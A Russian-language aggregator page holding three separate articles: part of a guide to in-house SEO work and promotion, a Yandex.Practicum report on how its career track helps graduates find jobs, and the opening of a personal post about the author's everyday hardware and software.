И только потом вы сможете проанализировать и спрогнозировать, сколько трафика вы потенциально можете привлечь и как это повлияет на рекламную компанию. Прогноз никогда не бывает идеальным, но это и не обязательно. Важно понять, как минимум, относительный процент прироста трафика или лидов.


Искусство инхаус SEO по большому счету состоит в том, чтобы сбалансировать ожидания с убедительным экономическим обоснованием. Вы никогда не сможете гарантировать трафик в SEO, однако нужно максимально оправдать ожидания вашего руководства. Только потому, что вы не можете что-то гарантировать, это не значит, что этого не может произойти. Логичность рассуждений и немного математики, которая покажет варианты достижения результатов, могут убедить руководство предоставить вам все необходимые ресурсы. Это как уроки математики в школе: недостаточно просто показать результат нужно показать, как вы к нему пришли.


Решение 2: Один из способов получить необходимые ресурсы, это показать быстрый результат в первые 30 дней после прихода в компанию. Это время ваш шанс на будущий успех. Это ваш шанс получить желаемые ресурсы. Чем более значимый результат вы сможете показать, тем больше ресурсов вы получите, потому что доказали, что можете это сделать. Если упустили это время, пытайтесь работать с небольшими проектами, чтобы постепенно получить ресурсы для более крупных. Согласитесь, весьма убедительно звучит фраза: Послушайте, мы здесь мы достигли положительного результата. Представляете, что мы могли бы сделать с еще большим количеством ресурсов!?.


Решение 3: Зная, на что ориентирована ваша компания (на продажи или на продукт), вы можете узнать, что из этого им нужно, после чего вы сможете помочь им это заполучить. В большинстве случаев это будут регистрации или лиды, но иногда это может быть поиск кандидата на ключевую роль или получение отзывов о чем-либо. Работайте над поиском подобных возможностей, чтобы показать, что вы можете быть полезным для компании и поверьте, это окупится вам сполна.


Постройте прочные отношения с руководителями команд в вашей компании (ИТ, копирайтеры). Посидите с ними за чашкой кофе или обедом, разузнайте кто они, поговорите о их целях, задачах и проблемах. Некоторые называют это игрой, но я считаю, что это просто выстраивание настоящих отношений и работы для достижения общей цели. Эти связи могут упростить решение ваших задач.


Мэтт Барби испытал это на своем опыте.


Мэтт Барби испытал это на своем опыте


"Работа инхаус сильно отличается от работы в агентстве. Это то же, что попытаться сравнить стартап из 40 человек и корпорацию из 4000 сотрудников. Тем не менее, есть некоторые общие истины, которые здесь применимы. К чему я веду не имеет значения, есть ли у вас правильное решение проблемы. Важнее всего то, что вы знаете, как продать идею внутри компании, получить ресурсы, необходимые для поддержки решения, и как (и когда) использовать имеющиеся у вас рычаги воздействия в процессе. Последний момент очень важен. О наращивании социального капитала уже написано немало статей, и это именно то, что я имею в виду под рычагами воздействия. Я вижу, как многие люди в компаниях ошибаются (а затем часто разочаровываются) просто потому, что пошли по неправильному пути. Иногда вам нужно позволить своей идее умереть, чтобы создать какой-то рычаг, который можно использовать в другом месте.


Если вы когда-нибудь наблюдали за кем-то, занимающим руководящую должность, и задавались вопросом: Как этот человек достиг таких высот? Я ведь знаю намного больше, чем он! ну, скорее всего, он продает намного лучше, чем вы. Независимо от того, какая у вас должность в компании, вы должны быть отчасти продавцом. Разница лишь в том, что, когда вы фактически продаете идею человеку внутри компании, заключается в том, вы, по сути, продаете ее своим коллегам. Поймите это, и вы достигнете успеха."


Мэтт Хауэллс-Барби (Matt Howells-Barby), старший Директор по приобретению HubSpot и соучредитель Traffic Think Tank



Решение 4: Найдите человека, который успешно выполняет задачи и научитесь у него, как это делать самому. И неважно, в какой команде он работает. Просто найди его и пойми, как он или она это делает, чтобы вы тоже могли этому научиться и применять его опыт на своих проектах.


Решение 5: Развивайте навыки повествования. Успешная продажа идеи в компании это результат здравых рассуждений, а также заинтересованности (подробнее об этом в следующей главе). Умение кратко рассказывать истории (продавать) это очень важно. Иногда хорошее повествование может быть более захватывающим, чем демонстрация идеальной денежной ценности в предоставлении рекомендации по SEO. Так, руководству будет проще довериться вам и вашей идее.


Джеки Чу девушка, которая испытала это на своем опыте.


Джеки Чу &ndash; девушка, которая испытала это на своем опыте


Хотя определенно есть люди, которым еще стоит немного подучить SEO в техническом плане, я считаю, что наличие сильных личностных лидерских качеств, умение рассказывать истории имеет решающее значение для успешного инхаус SEO. Реальность такова, что корпоративные сайты на самом деле даже не всегда корректно справляются с основными задачами оптимизации, и это потому, что оптимизация чего-то вроде бы незначительного, например тегов заголовков или масштабного изменения hreflang, может быть значительным вкладом в наращивание позиций сайта.


Даже вне вашей работы вы выполняете значительный объем работы по развитию SEO ваших проектов. Когда я вижу, как инхаус SEO-специалисты борются с трудностями, они, к сожалению, часто правы в отношении проблемы SEO, однако настоящая проблема состоит в том, что они не могут найти ресурсы, заинтересованность коллег и правильную расстановку приоритетов. Именно здесь необходимо быть сильным коммуникатором и уметь правильно доносить свои мысли и идеи, чтобы помочь снизить уровень неизбежных конфликтов, возникающих между командами, работающими над одним проектом, но имеющих разные цели.


Существует множество преимуществ инхаус SEO-специалиста, но вы должны уделять столько же внимания развитию своих навыков межличностного общения, как и развитию технических навыков. Даже если вы каким-то образом можете добиться огромных успехов без наличия сильных личностных качеств, если вы не сделаете своим приоритетом продвижение команды и своей работы, маловероятно, что вы и дальше будете находить поддержку в компании. И у вас никогда не будет возможности довести дело до конца без хорошо заложенной основы. Джеки Чу, ведущий специалист по глобальной поисковой оптимизации в Uber.


Джеки Чу (Jackie Chu), главный специалист по поисковой оптимизации в Uber



Проблема 2: Техническое SEO выстраивается в маркетинге, а не в продукте


Проблема с SEO и организационным проектированием связана с проблемой нехватки ресурсов. Суть в том, что сеошники не получают ресурсов, потому что они живут в рамках маркетинга, а команды инженеров живут в рамках продукта. Разрыв этой связи приводит к разным стратегическим планам, но, исходя из моего опыта, все эти проблемы можно решить.


  • Причина 1: Некоторые руководители путают SEO с контент-маркетингом и в результате помещают SEO в маркетинг.
  • Причина 2: Корпорации часто рассматривают трафик как маркетинговую метрику и вершину воронки.
  • Причина 3: В большинстве компаний нет специальных команд по развитию, которые объединяют маркетинг с командами инженеров.

Решение 1: SEO и техническое SEO это разные вещи, и эта разница со временем только увеличивается. SEO-специалисты это чаще всего специалисты широкого профиля, но для крупных сайтов вам нужны технические сеошники. В лучшем случае технический SEO находится в рамках продуктового и контентного маркетинга. Иногда директор по SEO или вице-президент по SEO может возглавлять команды технического SEO и контент-маркетинга, как в моем случае. Но, в реальности, все по-другому.


В качестве решения, компании, ориентированные на продукт (сайты, ориентированные на инвентаризацию), должны поощрять команды по развитию, а также SEO-специалистов. Компаниям, ориентированным на продажи, следует использовать контент-маркетинг или гибридный подход.


Игал Столпнер стал успешным на сайте investing.com, отчасти потому, что он хорошо разбирается в своем деле.


Игал Столпнер стал успешным на сайтеinvesting.com


"Ключ к успеху инхаус SEO это стать частью этого процесса. В большинстве компаний стратегический план реализуется продуктами или исследованиями и разработками. Как инхаус SEO-специалист, вы должны быть уверены, что находитесь прямо в центре этого процесса и что никакие существенные изменения или запуски не проходят мимо вас.


Конечно, независимо от того, насколько хорошо вы вовлечены в этот процесс, время от времени вы будете получать сопротивление со стороны других отделов. Как показывает опыт, долгосрочный успех SEO зависит от качества продукта и от приоритета опыта конечного пользователя. Часто отделы продаж и бизнеса стремятся к противоположному, отдавая предпочтение бизнес-возможностям, а не другим вещам. В этом случае задачи инхаус SEO остаются несколько позади. Рекомендации Google, тематические исследования третьих сторон и другие опубликованные материалы и заявления должны использоваться для защиты соответствующих задач от неверных решений. Будьте актуальными и конструктивны."


Игал Столпнер (Igal Stolpner), вице-президент по развитию и SEO-оптимизации в investing.com



Если компания изначально не настроена на это, можно попытаться настаивать, но это будет очень сложно и не факт, что вы чего-то добьетесь. В данном случае, решить эту проблему можно просто показывая руководству плачевность текущего состояния компании.


Решение 2: Обучение принципам SEO всей компании, от дизайнера до отдела продаж, инженеров и копирайтеров также может дать свой плод.


Когда я работал в Atlassian, я понял, что у меня никогда не будет достаточно ресурсов, чтобы сделать все, что я запланировал. Поэтому, я начал образовательную кампанию, чтобы всех сотрудников обучить основам SEO. Я провел много семинаров с инженерами, дизайнерами и писателями контента, чтобы показать им, как небольшие изменения в их работе могут повлиять на успех компании. Я создал шаблонные контрольные списки, раздал всем сотрудникам и начал процесс обучения. В итоге я создал много внутренней документации на Confluence (аналог вики), чтобы люди имели справочные материалы и могли учиться в удобном для них темпе.


Самое главное, я отслеживал результаты и показывал их людям. Такая обратная связь побудила их продолжать учиться больше. Иногда это было просто ключевое слово, которое улучшало рейтинг. В других случаях это был какой-то рубеж, которого мы достигли. Им это очень понравилось. Вы будете удивлены, насколько многого можно достичь с помощью этой стратегии.


Обучая других сотрудников, вы, тем самым, увеличиваете и свой багаж знаний, а также повышаете ваше влияние на коллег, что, несомненно, поможет вам в решении других задач в будущем.


Решение 3: Иногда лучшее решение просто уйти из компании. Это звучит жестко, но если вы постоянно сталкиваетесь с организационными ограничениями, переходите в другую компанию. Не всякая игра стоит свеч.


Проблема 3: SEO-специалисты не умеют демонстрировать важность SEO-оптимизации


Показать (денежную) важность SEO сложно, потому что вы не можете обещать результат, но это не значит, что вы ничего не можете сделать. Как раз таки можете.


  • Причина 1: Атрибуция по последнему взаимодействию. Многие компании измеряют вовлеченность на основе последнего действия посетителя. Это не всегда прозрачно для SEO, потому что пользователи посещают сайт несколько раз, пока не совершат конверсию.
  • Причина 2: Отсутствие понимания того, как бизнес зарабатывает деньги. Многие сеошники не понимают всех факторов, влияющих на получение дохода.
  • Причина 3: Слишком много внимания уделяется статистическим данным. Трафик, рейтинги и SEO-видимость полезны, но это лишь средство для достижения цели. Мне приходится часто видеть, как SEO-специалисты останавливаются на достигнутом, но не смотрят на конверсии и доход.

Решение 1: Очень важный шаг показать влияние SEO это сравнивать атрибуцию по первому и последнему взаимодействию. Если вы настроите ее правильно, первое взаимодействие окажет гораздо большее влияние. Однако это означает, что вам нужны модели атрибуции, а создать их не так уж просто.


Готовые модели атрибуции часто не настолько эффективны, но это лучше, чем ничего. Бета-версии Google Analytics и Hubspot, кажется, движутся в правильном направлении. Я также думаю, что с развитием машинного обучения мы найдем правильную атрибуцию с первого взаимодействия. Если у вас нет команды аналитиков или специалистов по обработке данных, которая могла бы правильно атрибутировать конверсии, воспользуйтесь готовым решением или же уходите от использования модели атрибуции.


Решение 2: Отслеживайте конверсии на определенных страницах (если у вас централизованный сайт). Не каждой компании нужна полноценная модель атрибуции. Иногда достаточно сказать мы получаем x конверсий на этих страницах, а они получают y трафика от SEO. Этого может быть достаточно, чтобы продемонстрировать денежную ценность SEO. Это также одна из причин, почему я считаю, что сеошники более успешны в таких отраслях, как электронная коммерция: там легче отслеживать конверсии.


Решение 3: Используйте конкурентный анализ. Вы можете доказать важность оптимизации, показав руководству, как делают конкуренты. Для этого вам нужен конкурент, который ранжируется лучше вас. В противном случае, этот вариант убеждения вам ничего не даст.


Решение 4: Продавайте прибыль, а не трафик. Если ваша цель продавать трафик или ранжирование, вам будет труднее получить ресурсы. Поэтому, нужно фокусироваться на прибыли или лидах.


Как продвигать SEO внутри компании


Как продвигать SEO внутри компании


Успешные инхаус SEO-специалисты становятся SEO-менеджерами


Продвигать SEO внутри компании значит заинтересовать людей темой SEO, точно так же, как Гай Кавасаки привлекает людей на платформу Canva. Умение вызвать интерес может решить множество проблем, таких, как: нехватка ресурсов или поддержка со стороны руководства. Но как этого добиться?


Определите четкую стратегию SEO


Четкость это залог успеха стратегии и исполнения. Чем лучше люди понимают, что вы планируете делать и как вы достигаете своих целей, тем легче им поддержать вас или дать обратную связь.


Не так давно я написал руководство по определению стратегии SEO с нуля. Я по-прежнему придерживаюсь семи ключевых атрибутов: дальновидность, осуществимость, тактика, прогрессивность, надежность, актуальность, внимательность. Однако эта часть руководства посвящена как, а не что, поэтому я могу показать вам, как сделать стратегию четкой и понятной.


Как создать стратегический план по SEO


Как создать стратегический план по SEO


Стратегический план по SEO это план того, что и когда нужно делать. Я точно знаю, что чем четче и точнее проработан ваш план, тем выше ваши шансы на его выполнение. Здесь мы возвращаемся к продажам и продвижению: четкая постановка вопроса первый шаг к привлечению дополнительных ресурсов.


Стратегический план также обеспечивает предсказуемость, что позволяет измерять усилия по сравнению с доходами. Это ценно не только для вас, но и для вашего руководителя, что может избавить вас от неудобных бесед.


Как необходимо составлять план по SEO-продвижению:


  1. Определить конечные цели.
  2. Описать задачи и ключевые результаты.
  3. Спрогнозировать прирост трафика.
  4. Согласовать план с заинтересованными лицами.
  5. Отслеживать и сообщать о результатах.

Определение конечных целей


Ваши конечные цели должны совпадать с целями вашего менеджера. Зачастую этими целями являются MQL или доход. Вверху описания вашей стратегии должна быть цифра, отражающая влияние на компанию или, по крайней мере, трафик, который вы планируете привлечь в течение года.


Что я усвоил на собственном горьком опыте, так это необходимость пересматривать план, чтобы ничего не упустить. Фактически, эти цели не являются незыблемыми, и держаться за них только из тщеславия никакого смысла нет. Я рекомендую хотя бы раз в полгода сверять цели с вашим менеджером, чтобы убедиться, что вы на правильном пути, и, при необходимости, вносить соответствующие корректировки.


Задачи и ключевые результаты


Разбейте годовые цели на задачи и ключевые результаты и всегда имейте возможность вносить небольшие корректировки, если это будет необходимо. Если вы не разбираетесь еще с данной концепцией, вам потребуется время, чтобы к ней привыкнуть.


Задачи это большие проекты, которые помогают вам в достижении ваших конечных целей, например, создание контента или оптимизация шаблона страницы. Ключевые результаты это измеримые рубежи, которые приведут вас к этому: определенное количество органического трафика, рейтинги, показатели в интернете и т.п.


При определении тактики или спецификаций очень важно ориентироваться на детали. Например, вас попросили исправить ошибки 404. Однако, вы со своей стороны должны уточнить требования и то, какой необходим конечный результат.


Прогноз прироста трафика


Опять же, по этому аспекту необходима целая инструкция. Ключевой момент прогнозов трафика заключается в том, что они не обязательно должны быть абсолютно точными, но вам нужно показать, как вы к ним пришли. Например, вы предлагаете оптимизацию шаблона страницы и прогнозируете повышение рейтинга на одну позицию или увеличение трафика на 10% и как это отразится на доходности компании. Это тот тип мышления, который необходимо развивать и совершенствовать.


Имейте в виду, что вы не виноваты в том, что SEO не всегда можно предсказать. Но ваша вина, если вы не справились с ожиданиями относительно потенциальной рентабельности инвестиций.


Согласование с заинтересованными лицами


Очень важно регулярно проводить встречи с заинтересованными лицами компании (отделами продаж, инженерами, другими маркетинговыми командами, продуктами и т.д.), чтобы показать им, на каком этапе вы сейчас находитесь, что нужно вам и что необходимо им.


Не секрет что, чем раньше вы подключите команды в процесс, тем выше ваши шансы на успех. Они могут помочь вам разобраться в запросе и правильно определить все запросы, а вы со своей стороны можете привлечь их внимание к процессу, а возможно, даже вызвать у них заинтересованность!


Отслеживание результатов и отчетность


Убедитесь, что результаты совпали с вашими ожиданиями и согласованными спецификациями. Затем отслеживайте, документируйте и сообщайте о результатах.


Теперь рассмотрим следующий пункт.


Циклы обратной связи


Положительные результаты вызывают интерес у руководства. Вот почему циклы обратной связи это ключ к продвижению SEO. С помощью регулярных отчетов, вы должны показать компании, что то, что вы и другие сотрудники делаете имеет влияние на ее развитие. Отправляйте отчеты по электронной почте или создавайте отчеты в документах Google.


Исходя из моего личного опыта, нужны 3 типа отчетов:


  1. Еженедельные / ежемесячные отчеты.
  2. Автоматизированные отчеты.
  3. Годовая отчетность.

Еженедельные / ежемесячные отчеты


Я советую отправлять еженедельный отчет заинтересованным лицам, например, другим SEO-оптимизаторам, вашей команде или вашему боссу. Ежемесячные отчеты можно рассылать более широкой группе людей, например, руководителям компании, инженерам, дизайнерам или редакторам, в зависимости от того, работает ли SEO в рамках продукта или маркетинга.


Еженедельные и ежемесячные отчеты должны содержать информацию о прогрессе в достижении ваших целей, наиболее важные показатели и комментарии к цифрам. Каждую цифру следует сравнивать по неделям, месяцам и годам для определения контекста.


Автоматизированные отчеты


Вам необходимо создать специальную папку для сбора информации о таких проблемах, как падение трафика, аудиты или конкурентный анализ. Эти отчеты должны находиться в одном месте, чтобы все имели доступ к ним и могли ссылаться на них в своих еженедельных, ежемесячных и годовых отчетах.


Годовые отчеты


Раз в год (или раз в 6 месяцев) я предлагаю вам создавать отчет на макроуровне, где будут описываться более крупные тенденции. В этом отчете вы покажете, как вы достигли своих целей, почему вы преуспели / потерпели неудачу, что необходимо улучшить, а также влияние SEO на рост показателей.


Ошибка, которую я совершал в прошлом, я слишком поздно рассылал такие макроотчеты, когда большинство стратегий уже были окончательно закреплены. Узнавайте, когда в компании будет проходить планирование на следующий год, и подготовьте отчет для публикации примерно за 2 недели до начала планирования.


Инхаус SEO это навык


Внутреннее SEO это то, чему вы должны научиться, работать и улучшать с течением времени. Считать, что вы просто пришли в компанию, и все, что вам нужно сделать, это провести строгий SEO-аудит, неправильно. Это только первый шаг.


Мы будем рады, если вы поделитесь своим мнением и опытом о работе в агентстве и инхаусе в комментариях к данной статье.

Подробнее..

Первая тысяча трудоустроенных выпускников Яндекс.Практикума как мы помогаем нашим студентам находить новую работу

31.05.2021 16:13:25 | Автор: admin
В большинстве случаев люди приходят учиться в Яндекс.Практикум, чтобы уйти со старой работы в новую или смежную область. Чтобы студент после окончания обучения действительно нашёл новую работу, мы создали специальный карьерный трек, который помогает правильно ставить цели во время поиска работы, откликаться на вакансии и проходить собеседования. Благодаря карьерному треку мы трудоустроили 1300 выпускников Практикума в разные компании, включая Яндекс.

Меня зовут Таня Гудимова, я работаю в Карьерном центре Практикума и отвечаю за карьерный трек. В этом посте я расскажу, как в Практикуме устроен процесс трудоустройства после окончания обучения.



71,1% выпускников Практикума выходят на новую работу


Целевую аудиторию выпускников Практикума можно разделить на две группы:

  • те, кто пришёл учиться, чтобы сменить сферу профессиональной области и найти новую работу. Их больше половины;
  • те, кто пришёл, чтобы прокачать свои навыки для роста на текущей работе, чтобы работать на фрилансе или запустить свой бизнес.

20 мая институт образования НИУ ВШЭ опубликовал исследование о том, сколько студентов Практикума находят новую работу после окончания обучения. Исследовали выпускников первой половины 2020 года. Результаты такие: среди тех студентов, которые пришли с целью сменить профессию и сохранили своё намерение, трудоустроились 71,1%.

Часть студентов устраиваются на работу по новой специальности ещё во время обучения. Большинство выпускников находит работу в пределах четырёх месяцев:



Как у нас получилось трудоустроить 71,1% выпускников


Ответ бесплатный карьерный трек, который могут пройти все студенты Практикума за дватри месяца до окончания своего курса. На разных факультетах треки немного отличаются друг от друга, потому что есть специфика профессии, но подход у всех один.

В карьерном треке студенты узнают теорию о поиске работы, знакомятся с рынком труда и главное готовят важные артефакты, которые приблизят их к получению оффера: резюме, портфолио, шаблон сопроводительного письма.

Карьерный трек состоит из пяти частей. Расскажу про каждую из них.

Часть 1. Целеполагание


Карьерный трек начинается с целеполагания. На этом этапе мы объясняем важность формулировки чёткой профессиональной цели и помогаем её сформулировать с помощью опорных вопросов.

Ещё мы рассказываем студентам о типах компаний (продуктовые, стартапы, студии, аутсорс) и о разных форматах работы: работа в офисе, удалёнка, фриланс. Объясняем, какие есть плюсы и минусы у каждого типа и формата, чтобы ребята выбрали для себя то, что им точно подойдёт.

Итог этого этапа чёткое понимание, какие вакансии подойдут конкретному студенту, в каком направлении он или она хочет развиваться, что уже умеет делать и что стоит подтянуть.

Часть 2. Подготовительная программа и резюме


На этом этапе мы рассказываем студентам о разных процессах найма в компаниях, о текущей ситуации на рынке труда с учётом выбранной профессии, помогаем упаковывать данные о себе в резюме, которое точно заинтересует HR-специалиста.

Наша задача сделать так, чтобы студент Практикума понимал, что просто прислать работодателю ссылку на своё резюме на hh.ru недостаточно. Нужно искать работу не только через специализированные сайты, но и, например, через соцсети или сайты компаний.

Помимо этого мы помогаем студенту написать хорошее резюме на базе наших методических материалов. По рекомендациям из методички выпускник оформляет резюме. Затем оно уходит на ревью к нашим эйчарам, которые дают подробную обратную связь. Обычно требуется несколько итераций, чтобы наши HR-специалисты сказали: Да, теперь резюме в порядке.
Мы заметили, что выпускники не умеют описывать свой опыт и проекты как правило, они рассказывают об этом слишком коротко и недостаточно точно. К примеру, если мне как эйчару кто-то пишет, что он аналитик, мне приходится сидеть и гадать, какой именно: продуктовый, маркетинг-аналитик или аналитик данных.

Ещё одна распространённая ошибка в том, что многие уделяют слишком много внимания нерелевантному опыту, тем самым уводя в тень действительно значимые проекты.

Часто специалисты указывают неполный список ключевых навыков, потому что не понимают, для чего они нужны. Например, вместо расширенного списка HTML5, CSS3, JavaScript, MySQL, Git, API, ООП, БЭМ, Webpack указывают только HTML, CSS и JavaScript. Но на HeadHunter, например, они используются как теги и повышают ваши шансы, что потенциальный работодатель увидит вас в поисковой выдаче.

Почти никто не умеет заполнять раздел О себе там либо дублируют всё резюме, либо пишут что-то вообще не по теме.

Рита Головко, менеджер по трудоустройству на бэкенд-факультете


Резюме выпускника до и после корректировки (кликабельно). Обратите внимание, насколько изменилось описание опыта работы после наших рекомендаций

Итог этого этапа: наш студент может свободно рассказывать о своих навыках, возможностях и пожеланиях. Он знает, из чего состоят собеседования по его специальности, какие вопросы ему могут задавать, о чём ему стоит спрашивать рекрутера.

Часть 3. Сопроводительное письмо, портфолио и тестовое собеседование


Чтобы устроиться на работу своей мечты, одного резюме недостаточно. Поэтому каждый студент Практикума пишет тестовое сопроводительное письмо и отдаёт его на проверку нашим экспертам. Мы делаем это для того, чтобы у человека вырабатывался определённый набор навыков и шагов для самопрезентации.

Например, чтобы он понимал, что иногда от рекрутеров компаний будет приходить двусмысленная обратная связь, не всегда железное Да или Нет. Нам нужно, чтобы в таких случаях выпускники Практикума понимали, что это диалог, в котором надо активно участвовать.
Практически ни у кого с первого раза не получается составить мотивационное письмо без формализмов и канцеляризмов. Мы предлагаем студентам написать сопроводительное письмо для отклика на конкретную вакансию, используя нашу методичку она учит чётче доносить мысли. Важно, чтобы письмо давало понимание, почему работодатель должен заметить и нанять именно вас.

Рита Головко, менеджер по трудоустройству на бэкенд-факультете
Следующий шаг портфолио. Здесь мы рассказываем, какие проекты можно включить в портфолио, как его оформить и где разместить. Для разных факультетов это будут разные рекомендации.
Выпускникам курса Веб-разработчик мы объясняем, что рекрутеры и тимлиды смотрят на портфолио по-разному. Рекрутерам важно, чтобы проекты из портфолио соответствовали навыкам вакансии, а тимлиды смотрят на качество кода и оформление проектов, как минимум Read.me. И мы этому тоже учим.

Анна Смирнова, менеджер по трудоустройству на веб-факультете
Дальше мы готовим студентов к собеседованию. Для этого у нас есть ещё одна методичка. После её изучения они тренируются проходить собеседования в тренажёре. Весь процесс тренировки записывается на камеру. После наши эксперты смотрят на видеозапись тестового интервью и дают обратную связь.

Несмотря на то, что вопросы тестового интервью достаточно простые, многие спотыкаются именно на этом этапе, потому что у многих просто нет навыка самопрезентации. Наш карьерный трек это исправляет.


Вот так выглядит тестовое собеседование студентки направления Анализ данных. Когда она закончит, видеозапись её рассказа уйдёт на проверку экспертам. Итог подробная обратная связь о том, что можно улучшить

В конце этого этапа наш выпускник понимает, как устроен рынок труда, где искать работу и на что смотрит работодатель. Он умеет проходить интервью, знает, как рассказать про себя и свои проекты. Понимает, как работать с негативным фидбеком и сохранять мотивацию.

Часть 4. Программа акселерации


Программа акселерации этап, на который попадает человек, который определился с целью поиска работы и подготовил артефакты: составил резюме, сопроводительное письмо, портфолио, прошёл тестовые интервью. В акселерации люди приступают к активным действиям поиску работы.

Смысл акселератора сделать так, чтобы наш студент нашёл работу за три месяца. Для этого мы собираем всех студентов в чате Slack, в котором общаемся и поддерживаем друг друга: созваниваемся, чтобы узнать, как проходит поиск работы, студенты делятся с нами небольшими отчётами по своим воронкам трудоустройств, и мы вместе их разбираем.


В чате выпускники рассказывают статистику поисков, тут же можно задать любой вопрос по трудоустройству и тестовым, поделиться интересным кейсом или проблемой


Менеджеры по трудоустройству проводят регулярные и внеплановые встречи, чтобы ответить на наболевшие вопросы

Одна из главных задач на этом этапе помочь студенту посчитать, сколько откликов ему нужно оставить, чтобы попасть на интервью. Их количество может меняться в зависимости от того, по какой специальности человек ищет работу, но за всё время работы карьерного трека у нас уже сформировалась своя статистика: из 100 откликов примерно 10 конвертируются в интервью, а 10 интервью в один подходящий человеку оффер.

Если мы целимся в 100 откликов за три месяца, то студенту нужно отправлять по 10 откликов в неделю. Поначалу такой темп могут выдержать не все, но мы помогаем ребятам.

На этом этапе мы помогаем не только с поиском работы, но и отрабатываем проблемы выпускников: синдром самозванца, неуверенность, демотивацию, страх большого количества откликов. Проходить через эти барьеры помогают ребята из нашего комьюнити выпускников, чтобы на своём примере показать, что не всё так страшно. В сообществе выпускников ребята также обмениваются вакансиями, ищут коллег среди одногруппников. По результатам исследования 11% выпускников находят работу через это комьюнити.

Часть 5. Программа сопровождения


Программа сопровождения начинается, когда выпускник устраивается на работу. Здесь мы работаем в полупассивном режиме: человек только что устроился на новое место, ему сложно и непривычно, мы понимаем, что ему сейчас не до чатиков и Практикума. Отмечу, что мы отвечаем перед выпускником не просто самим фактом трудоустройства. Мы хотим, чтобы он успешно прошёл испытательный срок, чтобы закрепился в компании, чтобы ему там нравилось, и он не жалел о своём выборе.

Жизненный цикл выпускника в карьерном треке может быть долгим. Например, кто-то через пару недель после выхода на работу может написать нам: Ребята, жуть, работать тут не могу, спасайте. Иногда так бывает, когда человек не сразу понял, что стартап это не только модно и красиво, но ещё и ОЧЕНЬ быстро.

Кто-то может проработать в компании какое-то время, затем уволиться и снова прийти к нам за помощью.

В каких компаниях работают выпускники Практикума


Важно понимать, что на старте Яндекс.Практикума мы не задумывали это как проект, призванный пополнить штат Яндекса. Для этого существуют стажировки и Школы Яндекса. Мы хотели учить людей профессиям, с которыми они смогут пойти и устроиться в ту компанию, в которую захотят. Сейчас наши выпускники работают в десятках компаний, среди которых Сбербанк, ivi, Ozon, Барс Групп, Авито, Спортмастер.

Не так давно мы начали трудоустраивать и в сам Яндекс. Как вы знаете, Яндекс любит алгоритмы и любит спрашивать про них на собеседовании. Ранее, пройдя курс по какому-то языку программирования, было всё равно весьма сложно попасть в Яндекс даже джуниором, так как человек обучался именно языку программирования, а не алгоритмам. Курс Алгоритмы для разработчиков немного поменял ситуацию: теперь иногда опытные разработчики (да и джуны) проходят его, чтобы повысить свои шансы устроиться в Яндекс.

Наши менеджеры по трудоустройству много общаются с представителями компаний, в которые хотят попасть выпускники, уточняют, готовы ли там в принципе брать джунов, чего от них ждут, какие навыки нужны, а также проводят глубинные интервью.

Мы выходим на компании, уточняем детали вакансии, потому что часто бывает так, что то, что написано в вакансии, и то, что на самом деле нужно команде от кандидата, это разные вещи. Разбираем всё на берегу, берём правильное и подробное описание вакансии, приносим в наш чат акселерации и говорим: Вот свежая вакансия от партнёра, посмотрите.

Сейчас мы продолжаем активно развивать такие партнёрские отношения с разными компаниями, как чисто в ИТ, так и в смежных отраслях. В планах, конечно, расширять этот список и помогать всё большему количеству наших выпускников находить работу.
Подробнее..

Железо и софт, которым я пользуюсь каждый день

20.10.2020 10:16:23 | Автор: admin

Привет, Хабр! Эту статью я написал пару недель назад у себя в блоге, но я продолжаю получать много вопросов по этой теме, поэтому решил опубликовать ее здесь!

В этой статье я решил подробнее рассказать о софте, которым пользуюсь для организации рабочего процесса. Это обширная тема, потому что набор инструментов штука индивидуальная, а кроме самого софта важно то, как вы его используете. Я хотел бы поделиться своим опытом.

Подход к железу и не только

Немного расскажу о своём подходе к выбору тех или иных штуковин. В моей голове есть четкая структура потребления, которую позже я услышал словах уЛео Баланёва, только более ёмко: Я не экономлю на инструментах, чтобы быть уверенным, что могу на них положиться. Если что-то не получается, то в этом виноват не инструмент, а я сам. Цитата не точная, но мысль прозрачная. Если я покупаю что-то и отношусь к этому, как к инструменту я готов инвестировать в уверенность в том, что этот инструмент позволит мне выжать максимум. В некотором роде я покупаю на вырост, но в пределах возможностей.Аэродинамическая передняя панель proнаколесахдля меня перебор, поэтому в этом нет смысла.

Вторая категория базовый стаф, который решает свою задачу. Здесь у меня такой подход: если товар закрывает свою потребность, значит этого достаточно. Приведу пример: AirPods мне нужны, чтобы слышать, но не вслушиваться. Я не жду от них музыкальных высот Hi-Fi, поэтому те, что у меня есть устраивают, и я не покупаю AirPods Pro. У меня естьSony WH-1000XM3с хорошим шумодавом. Они помогаю мне отстраниться от офисного шума и фокусироваться на работе, в них я монтажу и слушаю музыку, когда хочется ее слушать, а не слышать это инструемент.

У меня есть хорошие часы и туфли, но это часть моей работы: в корпоративном мире они являются инструментом. А на каждый день мне подходят футболки H&M. Надеюсь, понятно раскрыл идею. Давайте перейдем к железу.

За спиной: MacBook Pro 16

Тут и говорить нечего: эта машина, которая стоила моих инвестиций. На MacOS я с 2015 года, но это всегда были младшие прошки. В 2020 году я понял, что нужно больше, быстрее, мощнее и тут подлетел апдейт старшей модели. Я изучил спеки и помчал отдавать кровный четвертак. За этой штуковиной я провожу половину своего времени, он быстро окупился, сохраняя пятую точку холодной.

В кармане: iPhone 11 Pro

Тут можно подумать, что это избыточная история. Отчасти, так и есть, но на момент покупки у моего X уже подсел аккумулятор, а чехол-батарея оттягивает пиджак (мне иногда нужно в нем быть). iPhone 11 показался мне широким, потому что телефон для меня инструмент on the go (так когда-то назывались подборки в iPod, которые действительно можно было собрать на ходу). Камеры вторая история, которой я действительно пользуюсь. Я покупаю младшие модели на 64Gb, потому что не снимаю длинные видео и пользуюсь облаками. Бльшая часть памяти фото и видео контент, которой я и так дублирую в облаке, а приложений у меня не много. Как я организовал iPhone и почему iOS 14 лучший апдейт с точки зрения продуктивности расскажу в следующих статьях.

На руке: Polar Vantage V

История про рабочий инструмент сохранилась и здесь. У меня были Watch Series 4, которые я разбил на тренировке. Снова покупать часы от Apple не стал, потому что их несложно разбить на тренировке, а функционал для меня избыточный: я не пользовался и 3/4 приложений. Понял, что мои часы должны решать две задачи: спорт и некоторые уведомления. Я без ума отPolar Flowи связи с датчиком ЧСС H10, поэтому купил Polar. Если интересно, я расскажу и об этом. Можете написать мне или в комментариях к этой статье.

Это базовый пак устройств, с которыми я имею дело каждый день. Теперь давайте перейдем к программным продуктам, которыми я пользуюсь.

Коротко

Сразу предупреждаю: за многий софт я плачу. Для некоторых категорий у меня есть бесплатные рекомендации. Я подготовил короткую выжимку для тех, кто узнаёт названия из списка ниже.

